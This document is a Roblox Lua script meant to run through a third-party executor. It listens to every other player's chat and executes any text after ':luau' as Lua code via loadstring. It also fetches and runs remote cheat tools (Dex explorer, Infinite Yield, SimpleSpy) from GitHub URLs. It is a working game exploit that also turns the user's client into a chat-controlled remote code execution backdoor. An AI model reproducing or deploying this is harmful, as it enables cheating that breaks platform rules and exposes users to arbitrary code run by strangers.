local message = ":luau" local textchatservice = game:GetService("TextChatService").TextChannels.RBXGeneral local Welcome = "Hi this a luau bot Beta v1 execution " .. identifyexecutor() .. " some function are not implemented for now. commands ':luau (code)' " local commands = "We do not support loadstring for now... since it tagging in the roblox chat > :luau DEX, :luau yield, :luau spy" local SCRIPT = "" -- add more script if you want local dex = "https://raw.githubusercontent.com/infyiff/backup/main/dex.lua" local yield = "https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source" local spy = "https://github.com/exxtremestuffs/SimpleSpySource/raw/master/SimpleSpy.lua" --[[local BindableEvent = Instance.new"BindableEvent" BindableEvent.Name = "GetMessageEvent" BindableEvent.Parent = workspace BindableEvent.Event:Connect(function(MSG) SCRIPT = tostring(MSG) local s,err = pcall(function() loadstring(SCRIPT)() print(MSG .. " " .. SCRIPT) end) if not s then textchatservice:SendAsync("error in your script. : " .. err) end end)]] textchatservice:SendAsync(Welcome) textchatservice:SendAsync(commands) --textchatservice:SendAsync(tostring(BindableEvent).. " is loaded...") textchatservice:SendAsync("loading...") wait(2) for i,v in pairs(game:GetService("Players"):GetPlayers()) do if v~=game.Players.LocalPlayer then v.Chatted:Connect(function(msg) if string.sub(msg,1, #message) == message then local MESSAGE = string.sub(msg, #message + 2) if MESSAGE == "DEX" then SCRIPT = dex elseif MESSAGE == "yield" then SCRIPT = yield elseif MESSAGE == "spy" then SCRIPT=spy else SCRIPT = MESSAGE end print(SCRIPT) local s,err = pcall(function() if SCRIPT == dex or SCRIPT == spy or SCRIPT == yield then loadstring(game:HttpGet(SCRIPT))() textchatservice:SendAsync("Loadstring Script Executed with no error.") else loadstring(SCRIPT)() textchatservice:SendAsync("Script Executed with no error.") end end) if not s then textchatservice:SendAsync("error in your script. : " .. err) end end end) end end